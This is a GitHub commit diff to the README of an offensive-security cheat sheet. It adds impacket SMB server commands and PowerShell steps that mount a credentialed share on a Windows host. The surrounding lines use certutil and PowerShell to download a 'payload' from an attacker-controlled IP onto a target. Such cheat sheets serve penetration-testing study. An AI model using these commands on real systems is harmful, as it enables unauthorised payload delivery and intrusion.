kqjy/Offensive-Security-Cheat-Sheet
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Update README.md

Browse Source
This commit is contained in:
Joe Totes
2022-09-05 20:09:57 -04:00
committed by GitHub
parent 2dd90954cf
commit b5a93259dc
1 changed files with 12 additions and 2 deletions
Download Patch File Download Diff File Expand all files Collapse all files

14
README.md
View File

@@ -1347,7 +1347,7 @@ username=admin$password=FUZZ
*** ***
#### [STEP 1] Python Server on Client #### [STEP 1] Server on Client
<br /> <br />
@@ -1360,6 +1360,10 @@ username=admin$password=FUZZ
sudo python3 -m http.server {PORT} sudo python3 -m http.server {PORT}
# {PORT}: Port to open for file transfer # {PORT}: Port to open for file transfer
# SMB SHARE
impacket-smbserver temp $(pwd) -smb2support -user {USERNAME} -password {PASSWORD}
``` ```
<br /> <br />
@@ -1389,7 +1393,13 @@ certutil -split -f -urlcache http://{IP ADDRESS}/{FILE}
# Windows - Download file using powershell # Windows - Download file using powershell
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://{IP ADDRESS}/{FILE.exe}','C:\Users\{USER}\{FILE.exe}')" powershell -c "(new-object System.Net.WebClient).DownloadFile('http://{IP ADDRESS}/{FILE.exe}','C:\Users\{USER}\{FILE.exe}')"
# {IP ADDRESS}: IP Address of the client from step one (python server) # SMB SHARE
$pass = convertto-securestring '{PASSWORD}' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('{USERNAME}', $pass)
New-PSDrive -Name tempdrive -PSProvider FileSystem -Credential $cred -Root \\{IP ADDRESS}\temp
cd tempdrive:
# {IP ADDRESS}: IP Address of the client from step one
# {FILE}: The payload to be transferred # {FILE}: The payload to be transferred
``` ```
<br /> <br />